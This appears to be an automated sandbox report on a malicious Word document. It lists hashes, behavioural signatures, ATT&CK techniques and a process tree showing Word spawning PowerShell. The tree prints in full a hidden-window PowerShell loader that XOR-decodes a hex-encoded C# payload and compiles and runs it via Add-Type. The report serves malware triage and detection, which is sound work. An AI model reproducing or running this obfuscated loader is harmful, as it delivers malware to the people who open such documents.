ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
118s
max time network
161s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

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General

Target

2020-01-29_80511.doc
Size

162KB
MD5

f7188837293ca75dd3f83c9c04cf0cea
SHA1

77aab76d98a456479e58df926449880ff563d89f
SHA256

0c3d83825ad68661d606e8f94db8480d905f10025a5a0333c9b74a1e81ff75d3
SHA512

9323379c0c76242b78f030aede729273c735fb76ce0801860fb82ac28fe87b39cf4a407ac91fcbb0880a148e72efe5dc441e7ea19e8b06a4b9561b1861e30ddd

Score

10^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3876 wrote to memory of 1768	3876	WINWORD.EXE	72
PID 3876 wrote to memory of 1768	3876	WINWORD.EXE	72
PID 1768 wrote to memory of 2900	1768	powershell.exe	77
PID 1768 wrote to memory of 2900	1768	powershell.exe	77
PID 2900 wrote to memory of 3600	2900	csc.exe	78
PID 2900 wrote to memory of 3600	2900	csc.exe	78

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1768	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1768	powershell.exe
1768	powershell.exe
1768	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3876	WINWORD.EXE
3876	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1768	3876	powershell.exe	64

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-29_80511.doc" /o ""
1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function z3c24 {param($tb6254)$j867931='hb82ea';$d5dfc1='';for ($i=0; $i -lt $tb6254.length;$i+=2){$wc8692=[convert]::ToByte($tb6254.Substring($i,2),16);$d5dfc1+=[char]($wc8692 -bxor $j867931[($i/2)%$j867931.length]);}return $d5dfc1;} $r518828 = '1d11515c02413b1b4b46000c53174b5b0b06483141411104054c6a470b15010f5d1c2c0f1c074a5d15320d104e5b06041b594d410c0f0f426b4b16150d0f16760c000f0c574111080b1103471608060518611c121c07551c2c2e53174b5b0b06483141411104054c7657115a65684847070d0101185109001b1118565c0350510a493e25040e715f150e1a1610100e041a0c5d5e56534a4e7d5c11131132575b0b1555407f5711311a0d5b7301051a074b41474835424847070d0101184111001c0b5b1200191c074a5c4528061668461741030009535c49210c4c621113480c5c0600525a5114411113010c5f120d030e5559074c5a3326545e2c0c180d4a464d4303074a5c000d5b501a1e452406164a4b350e010c4c1258414a2e5753012d01004a5317184a4b651215140a0e515145121c034c5b06410d1a4c57170f482b564635151a425d0453535d0010411113010c5f1217035a030b064c5a3326545e2c0c180d4a464d4303074a5c000d5b501a1e452406164a4b350e010c4c0f473701104c47040d3810574600021c40116f45111d00545b06411b1659460c0248074046001306425a5d0a0d481b0f5603055900107b0b1538164a1200535d00091e30280616684617410a070c04034d4817515c114102510b5050585a4e185d10154817515c11411257090751075e4b0369210d042b55420a131c4a1a79001306075401574f0c0e541049412d0c4c401c31070b564658433a16547f0a170d2f5d5f0a131140141236041c2e594111241a1057405807090e4b574c3c48114c5311080b425d4a11041a0c18440a080c42555407570e4a715c11311c10185d5c58595a147b0b1538164a1213025c535a1e0c0f1c4256565452594b03421003040b5b12161509165151450806161851035850570b004d48132b564635151a42540557545a56180f45045e540a07074912515b0051494a52010203550a575a0607515d520c020043414b035b034904550a075755555f715c11311c1016680013074b43550a150742595152005e59457b0b1538164a1213560d060e00580a0a53590b4d0d5f500d00514d12515b0051494a50010203550a575a0153515a520102065609560f0256515f525c035543414b035b03491e555d565353555f715c11311c1016680013074b43550a150742595152005e5945672c0f1c324c404515090001040700554a6d7b0b1538164a1b505a1d0b564645140e0001035851530b5e1a44185f065e56540340140f5701575a4e4c5307585e00591e55195c52145d101548175e505c50414b43550a150742595152005e5945701c150d3965121f525c060f0f1e511051091e55190e0414021d58581f037b0b1538164a1207500c570f0f28001a115053094f290e545d06292f0e5750040d4051110928001a115053094f2b0d484b4d1b5b565c0549514400095650564451110908070a545e1a0b041f42715c11311c10104452040c540a1c310e210c4c0451494149084a55515900111e07500c570f1e564853035b05045752426f570722040b5d5c114103500050515c06074f1232040a21545b000f1c4a110916151a0b565545095a570a530156552756440c13070c55570b1546255d46230e04065d4035001c0a10770b170110575c08040616166115040b0b595e230e04065d404b201812545b06001c0b575c21001c031119473d3408015600004a49420106535c4a1a0653515f5608075243415953005d035c4c7c5d120f040d595623080407104856025a561010555159540c5151535d040c57515659000d04500558070900515758530d05540259040802515658010d00555659570903515758550c0250564a4b145a57545a035c054c5a3810575100121b314c531715210c5e5d45170d5a0c07565c06074f12351307015d4116321c034a462c0f0e0d105a57545a035c054c5a3810575100121b4c6b4604131c4a4e575d555d51110917041c174a5c4551531f4847070d0101184111001c0b5b1216151a0b5655451b5b010a064d121c10515c02411f035e54540441194b4617080605185c01550d510a0158430000000000004a594b4617080605185753575a575a0f36151a0b56554b2405124c4b5e070710105b0b15480b05025e085415595403500d4c74570b061c0a035b4e5c5a4b43501c150d4253505400515f7b5d0b170d104c1c310e2a1b4c574d1609045e03004f3b175a411113010c5f1a0c4d5a4b1403534853070e0457540a49051a06090910111a0e03590301123b4106060c5756535b39105b4a5341421d120b055c070b00564f240756551109354b034f17041c174a5c45045e540a07075a151f'; $r5188282 = z3c24($r518828); Add-Type -TypeDefinition $r5188282; [d9b832]::cf98532();
  2⤵
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  - Process spawned unexpected child process
  PID:1768
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kgxrvzfg\kgxrvzfg.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2B3C.tmp" "c:\Users\Admin\AppData\Local\Temp\kgxrvzfg\CSC5626EAE792884A3BB51834307C545A27.TMP"
      4⤵
      PID:3600

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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